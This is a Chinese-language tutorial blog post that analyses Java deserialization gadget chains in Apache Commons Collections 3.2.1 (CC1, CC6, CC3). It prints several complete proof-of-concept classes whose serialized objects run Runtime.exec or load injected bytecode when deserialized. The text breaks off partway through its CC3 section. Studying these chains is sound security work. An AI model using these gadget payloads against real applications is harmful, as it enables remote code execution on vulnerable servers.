Commons-Collections反序列化

Java反序列化漏洞

Commons Collections

Apache Commons 是 Apache 软件基金会的项目。Commons Collections 包为 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

Commons Collections的版本是3.2.1,版本过高就无法调试;还有一点就是Commons Collections其实有俩条利用链,lazymap和transformeredmap。现在网上流行的都是对transformeredmap的分析,就是因为它比较简单利用

关于高版本的jdk调用链其实还有办法

小白可能遇到的问题

作者是一个小白,第一次挖Commons-Collections1这一条链子,遇到了一些困难。在这里做一下标记,希望能够帮助小伙伴们解决相同的问题。

  • 寻找jdk版本:Commons-Collections1使用的jdk版本必须是jdk1.8.0_8u71以下,所以我们要适配该版本以下的版本。网上我找了半天没有找到符合要求的jdk,最后看了这位师傅的博客Oracle jdk old release 历史版本下载找到了正确的版本。jdk要下载JDK(JAVA Developpment Kit)

  • 关于windows电脑放入多个jdk的问题:因为我们经常使用不同的jdk版本,解决方法是比如说jdk1.7先在虚拟机中安装好,然后将jdk1.7拷贝出来放到主机的java的jdk目录下

  • JDk源码问题:在Oracle JDK中下载的JDK未必包含我们所需要的部分源码,比如说sun包下的源码就不包含。这就导致我们在调试的时候不方便,所以我们需要在openjdk中下载比较接近Oracle JDK版本的源码。这里提供一个CC1链需要的sun包源码http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip

  • IDEA中导入JDK源码:这个就直接看网上的教程了,

  • IDEA调试的快捷键:

    • 查看接口的继承子类:ctrl+H
    • 查看方法可以被哪里调用:右键选择FindUsages

知识补充:jdk中的包

  1. java.*
    JavaSE的标准库,是java标准的一部分,是对外承诺的java开发接口,通常要保持向后兼容,一般不会轻易修改。包括其他厂家(IBMJDK/HPJDK/OpenJDK)在内,所有jdk的实现,在java.*上都是一样的。
  2. javax.*
    也是java标准的一部分,但是没有包含在标准库中,一般属于标准库的扩展。通常属于某个特定领域,不是一般性的api。

此上两者都属于java标准库,公有的API,遵循java平台规范,

  1. com.sun.*
    是sun的hotspot虚拟机中java.* 和javax.*的实现类。因为包含在rt中,所以我们也可以调用。但是因为不是sun对外公开承诺的接口,所以根据根据实现的需要随时增减,因此在不同版本的hotspot中可能是不同的,而且在其他的jdk实现中是没有的,调用这些类,可能不会向后兼容,所以一般不推荐使用。
  2. org.*
    是由企业或者组织提供的java类库,大部分不是sun公司提供的,同com.sun.*,不具备向后兼容性,会根据需要随时增减。其中比较常用的是w3c提供的对XML、网页、服务器的类和接口
  3. sun.*包:
    1、不是API公开接口的一部分,调用sun包的程序并不能确保工作在所有Java平台上,不同的操作系统中的实现可能不相同。

2、不同的jdk版本sun包中的类也可能不定期的变化,因此sun.*包中的类没有提供API文档及源码。

白日梦组长的利用链导图

最后还有一些利用链没贴

p神知识星球里一位师傅对CC链的整理

CC1-TransformMap

版本限制:

jdk版本:低于jdk1.8.0_8u71

commons-collections版本:

<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>

环境配置

我们需要做的工作是下载一个版本低于jdk1.8.0_8u71的jdk,然后在IDEA中新键一个maven项目(不需要配置javaweb项目)。在项目中的pom.xml中进行导入commons-collections的包。

<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>

然后我们需要在IDEA中配置jdk的版本,我这里配置的是jdk1.8.0_8u65.

利用链分析

java反序列化漏洞的入口类重写了readObject(),然后通过readObject()方法中调用了其他类的方法,以此类推最后可以执行我们的Runtime类的exec危险方法。分析过程我们从执行Runtime类的exec()方法和InvokeTransformerhander反向分析,最后得出完整的整条利用链。

InvokeTransformerhander

InvokerTransformerHander类中的transform方法是一个危险的方法,分析一下它的方法内容,不难发现是用反射来执行一个方法

public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }

用UsagesFind找一下哪里可以调用这个类的transform方法。TransformedMap类的checkSetValue能够调用InvokeTransformerhander的transform方法

protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }

继续UsagesFind寻找,AbstractInputCheckedMapDecoator类的setValue()可以调用这个方法

public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); }

而AnnoationInvocationHander类的readObject方法里面可以调用setvalue方法

private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } }

因为AnnoationInvocationHander类的构造方法是default,所以我们需要利用反射来构造该类的对象。这里因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使 用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化 了。

Transformer invokerTransformer = InvokerTransformer.getInstance("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object,Object> hashMap = new HashMap<Object,Object>(); TransformedMap transformedMap = (TransformedMap)TransformedMap.decorate(hashMap,null,invokerTransformer); Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class); clazzDeclaredConstructor.newInstance(Override.class,transformedMap);

按照上面的思路最后就构造出来这条链子了,但是它是无法进行序列化的。

  1. Runtime这个类没有继承Serializable,无法序列化
  2. AnnotationInvocationHandler的readObject方法的俩个if判断以及最后的可控参数setValue()

Runtime类反射

Runtime无法序列化,但是我们知道它的Class类对象是可以序列化的,那么就需要将Runtime命令执行利用反射写出来

Class clazz0 = Class.forName("java.lang.Runtime"); Method getRuntimemethod = (Method) clazz0.getDeclaredMethod("getRuntime"); Runtime runtime = (Runtime) getRuntimemethod.invoke(null); Method getexecmethod = (Method) clazz0.getDeclaredMethod("exec",String.class); Object calc = getexecmethod.invoke(runtime,"calc");

但是如果把它放在InvokerTransformer的getInstance中能实现吗?不能实现。但是Commons-Collections框架中有一个ChainedTransformer类transformer方法可以循环利用反射调用方法

public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }

可以利用它来做加强版的“InvokeTransformer”,而且它的构造方法也比较简单

public ChainedTransformer(Transformer[] transformers) { super(); iTransformers = transformers; }

所以我们直接构造一个InvokerTransformer数组

Method getRuntimemethod= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimemethod); Method getexecmethod = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"exec",new Class[]{String.class}}).transform(Runtime.class); Object invoke = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{runtime, new String[]{"calc"}}).transform(getexecmethod);

但是需要注意一点这里ChainedTransformer的transformer方法的object参数必须是一个承接一个,所以我们最后优化后的是:

Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), };

setValue参数

我们需要绕过俩个if,因为涉及到注解的一些知识,这里直接给出条件

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
  2. 被 TransformedMap修饰的Map中必须有一个键名为X的元素

这里选择Target注解,所以键名是value

@Target(ElementType.ANNOTATION_TYPE) public @interface Target { /** * Returns an array of the kinds of elements an annotation type * can be applied to. * @return an array of the kinds of elements an annotation type * can be applied to */ ElementType[] value(); }

这个问题解决完以后,还有就是setValue()方法的参数。它的参数其实是不可控的,Debug调试一下,当我们走到ChainedTransformer的transform方法时,看到的第一个Object参数,永远不可控。

但是Commons-Collections有一个类是ConstantTransformer,它的transformer参数无论接受什么都会返回iConstant。这对我们来说非常好,并且iConstant参数极其易控制

public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn; } /** * Transforms the input by ignoring it and returning the stored constant instead. * * @param input the input object which is ignored * @return the stored constant */ public Object transform(Object input) { return iConstant; }

所以我们最后构造的Transform数组是:

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), };

整体的思路:

AnnotationInvocationHandler.readObject() -TransformedMap.checkSetValue() -ChainedTransformer.transform() -ConstantTransformer() Runtime.class -InvokerTransformer() clazz.getDeclaredMethod() -InvokerTransformer() method.invoke() -InvokerTransformer() runtime.exec()

整理一下,最后完整的POC是:

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.lang.Class; import java.util.HashMap; import java.util.Map; public class CC1 { public static void unerialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); System.out.println("Successful UnSerialize"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC1.ser")); objectOutputStream.writeObject(obj); System.out.println("Successful Serialize"); } public static void main(String[] args) throws Exception { // Transformer invokerTransformer = InvokerTransformer.getInstance("exec", new Class[]{String.class}, new Object[]{"calc"}); // HashMap<Object,Object> hashMap = new HashMap<Object,Object>(); // TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap,null,invokerTransformer); // Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class); // clazzDeclaredConstructor.newInstance(Override.class,transformedMap); // Class clazz0 = Class.forName("java.lang.Runtime"); // Method getRuntimemethod = (Method) clazz0.getDeclaredMethod("getRuntime"); // Runtime runtime = (Runtime) getRuntimemethod.invoke(null); // Method getexecmethod = (Method) clazz0.getDeclaredMethod("exec",String.class); // Object calc = getexecmethod.invoke(runtime,"calc"); // Method getRuntimemethod= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); // Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimemethod); // Method getexecmethod = (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"exec",new Class[]{String.class}}).transform(Runtime.class); // Object invoke = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{runtime, new String[]{"calc"}}).transform(getexecmethod); // // must change // Method getRuntimemethod= (Method) new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); // Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimemethod); // new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), }; ChainedTransformer chainedtransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<Object,Object>(); hashMap.put("value","123"); TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap,null,chainedtransformer); Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class); clazzDeclaredConstructor.setAccessible(true); Object o = clazzDeclaredConstructor.newInstance(Target.class, transformedMap); serialize(o); unerialize("CC1.ser"); } }
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map; public class study { public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc" }), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "xxxx"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }

CC1-LazyMap

版本限制:

jdk版本:jdk8u71以下

commons-collections版本:

<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>

CC1有俩条链,这一条链后半部分与前面的那条链后半部分相同,区别在于LazyMap替换了TransformedMap,ChainedTransformer的transform方法通过FindUsages查询发现也可以在LazyMap中找到,并且factory也非常好控制

public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }

这一条链涉及到了注解和动态代理的知识,比前一条CC1链难理解,这里直接给出Gadget构造思路(以后再进行补充)

Gadget构造思路:

ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()

LazyMap的利用链:

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class CC12 { public static void unerialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); System.out.println("Successful UnSerialize"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC12.ser")); objectOutputStream.writeObject(obj); System.out.println("Successful Serialize"); } public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), }; ChainedTransformer chainedtransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<Object,Object>(); hashMap.put("value","123"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer); Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class); clazzDeclaredConstructor.setAccessible(true); Object obj = clazzDeclaredConstructor.newInstance(Target.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, (InvocationHandler) obj); Object o = clazzDeclaredConstructor.newInstance(Override.class,mapProxy); serialize(o); unerialize("CC12.ser"); } }

CC6-最好的链

版本限制:

jdk版本限制:jdk7和jdk8不受限制

commons-collections:对commons-collections版本限制不大

在前面说了分析了CommonsCollections1这个利⽤链和其中的LazyMap原理。但是我们说到,在 Java 8u71以后,这个利⽤链不能再利⽤了,主要原因 是 sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了。也因为这一次改变导致整个在AnnotationInvocationHandler做为入口类的链都不能用了。CC6这一条链是ysoserial里常用的一条链,该利用链可以在java 7和8的高版本触发,没有版本限制,说实话其实CC6也不会受Commons-Collections的版本限制

这一条链还是调用了CC1的LazyMap开始的后半部分,我们从后面开始分析。

public Object get(Object key) { // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }

如果有个函数的方法可以调用LazyMap的get方法就可以实现漏洞利用,于是我们找到了TiedMapEntry类的hashCode方法,hashCode方法可以调用getValue()方法,getValue()则会调用get方法

public int hashCode() { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } public Object getValue() { return map.get(key); }

通过寻找我们发现HashMap的readObject()方法调用了hash方法而hash方法里又可以调用TiedMapEntry的hashCode方法,这就很方便了。同时你如果知道URLDNS的话,会发现其中我们需要做一些处理(规避)。

public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), }; ChainedTransformer chainedtransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<Object,Object>(); hashMap.put("value","123"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123); HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>(); hashMap0.put(tiedMapEntry,123); }

如果我们仅仅是将其这样设计,发现它直接就会弹计算器,如果我们跟进hashMap0.put()会发现它会调用lazyMap的hashCode(),所以会调用计算器,所以我们要规避处理。想办法让它不弹出计算器,通过反射改变链的随便一部分都可以,因为我们有ConstantTransformer。这里我们让LazyMap的decorate先修饰ConstantTransformer,最后通过反射来更改它为Chainedtransformer

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), }; ChainedTransformer chainedtransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<Object,Object>(); hashMap.put("value","123"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123); HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>(); hashMap0.put(tiedMapEntry,1234); Class clazz = LazyMap.class; Field factoryField = clazz.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedtransformer); //serialize(hashMap0); unerialize("CC6.ser");

但是又有一个新的问题,反序列化依然无法弹出计算器。什么原因呢?这一次的问题出现在lazymap的get方法处,这里还是承接了hashMap0.put()带来的影响,详细变化如下:

hashMap0.put()--hashMap0.hash()--TiedMapEntry.hashCode()--TiedMapEntry.getvalue()--LazyMap.get(templatesImpl)--hashMap.containsKey(templatesImpl)--hashMap.put(templatesImpl,)

这样的话hashMap的key中就会在反序列化之前提前有templatesImpl,真正反序列化的时候if (map.containsKey(key) == false)就会判断为真,链子将无法执行。

public Object get(Object key) { // create value for key if key is not currently in the map // 如果传入的key不在当前修饰的map中,则为key创建value if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); // <---问题原因 return value; } return map.get(key); }

当我们准备序列化时,走到lazyMap的get()方法时if条件判断为真就会走入get()方法,然后当反序列化的时候map的key已经存在了if判断条件为假就不会再执行if的部分了

所以说我们要在反序列化之前把key值消掉,HashMap的remove()方法可以去掉HashMap的key值所以最后整理的代码是这样:

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), }; ChainedTransformer chainedtransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<Object,Object>(); hashMap.put("value","123"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123); HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>(); hashMap0.put(tiedMapEntry,1234); hashMap.remove(123); serialize(hashMap0);

这样就可以成功在反序列化的时候成功弹出计算器了,

整理思路

--HashMap.readObject() --HashMap.hash() --TiedMapEntry.hashCode() --TiedMapEntry.getValue() --LazyMap.get() --ChainedTransformer().transform() --ConstantTransformer().transform() --InvokerTransformer.transform() --InvokerTransformer.transform() --InvokerTransformer.transform()

最后真正的Poc如下:

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; public class CC6 { public static void unerialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); objectInputStream.readObject(); System.out.println("Successful UnSerialize"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("CC6.ser")); objectOutputStream.writeObject(obj); System.out.println("Successful Serialize"); } public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), }; ChainedTransformer chainedtransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<Object,Object>(); hashMap.put("value","123"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 123); HashMap<Object,Object> hashMap0 = new HashMap<Object,Object>(); hashMap0.put(tiedMapEntry,1234); hashMap.remove(123); Class clazz = LazyMap.class; Field factoryField = clazz.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedtransformer); // serialize(hashMap0); unerialize("CC6.ser"); } }

最后成功弹出计算器

CC3-代码执行

版本限制:

jdk版本:依旧编写方式而定

commons-collections

<dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency> </dependencies>

解释一下这里为什么说jdk版本要按照编写方式而定:CC3本质上只是更改了ChainedTransformer内部的类,把命令执行更换成了代码执行,前面的部分没有发生变化,所以说如果按照CC1的方式写会限制jdk的版本在jdk8u71以下,而按照CC3的方式写就没有jdk7和8版本的限制。

ysoserial中的CC3链与前面说的CC1和CC2以及CC6不同,前面的是命令执行,而这一条链则是代码执行。CC3这一条链使用的是动态类加载(动态加载字节码)的方式,我们利用动态类加载的加载器是java.lang.ClassLoader,使用这一类加载器会顺序执行3个方法来进行类加载:loadClass()findClass()defineClass()

但是由于java.lang.ClassLoader类的defineClass()方法是protected的,所以我们需要寻找重写defineClass()且作用域是public的类,这里我们找到的是TemplateImpl类,

CC3-方式1

CC3的前半部分是CC1(ysoserial)readObject()InvokerTransformer,后半段是TemplateImpl类加载利用链;这条利用链的动态类加载部分在《java反序列化漏洞入门篇》有过记录;这条链的前半部分就是CC1的前半部分。

整体思路:

--ObjectInputStream.readObject() --AnnotationInvocationHandler.readObject() --Map(Proxy).entrySet() --AnnotationInvocationHandler.invoke() --LazyMap.get() --ChainedTransformer.transform() --ConstantTransformer.transform() --InvokerTransformer.transform() --method.invoke() --TemplatesImpl.newTransformer() --TemplatesImpl.getTransletInstance() --TemplatesImpl.defineTransletClasses() --TemplateClassLoader.defineClass() --TemplatesImpl.getTransletInstance()

完整的POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC3 { public static void main(String[] args) throws Exception{ byte[] code= Files.readAllBytes(Paths.get("D:\\HelloAbstractTranslet.class")); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes",new byte[][]{code}); setFieldValue(templates, "_name", "name"); setFieldValue(templates, "_tfactory",new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}), //利用InvokerTransformer的反射机制调用templates的newTransformer方法 }; ChainedTransformer chainedtransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap<Object,Object>(); hashMap.put("value","123"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedtransformer); Class clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor clazzDeclaredConstructor= clazz1.getDeclaredConstructor(Class.class, Map.class); clazzDeclaredConstructor.setAccessible(true); Object obj = clazzDeclaredConstructor.newInstance(Target.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, (InvocationHandler) obj); Object o = clazzDeclaredConstructor.newInstance(Override.class,mapProxy); //serialize(o); unerialize("CC6.ser"); }

执行结果:

CC3-方式2(ysoserial)

ysoserial的代码,会发现CommonsCollections3和上述代码并不同,没有使⽤到InvokerTransformer。原因是因为:2015年初,@frohoff和@gebl发布了Talk《Marshalling Pickles: how deserializing objects will ruin your day》,以及Java反序列化利⽤⼯具ysoserial,随后引爆了安全界。开发者们⾃然会去找寻⼀种安 全的过滤⽅法,于是类似SerialKiller这样的⼯具随之诞⽣。 SerialKiller是⼀个Java反序列化过滤器,可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在SerialKiller中就有过滤InvokerTransformer。针对此情况ysoserial的CC3变换InvokerTransformerInstantiateTransformer同时使用了TrAXFilter

整理一下这后半段的思路:

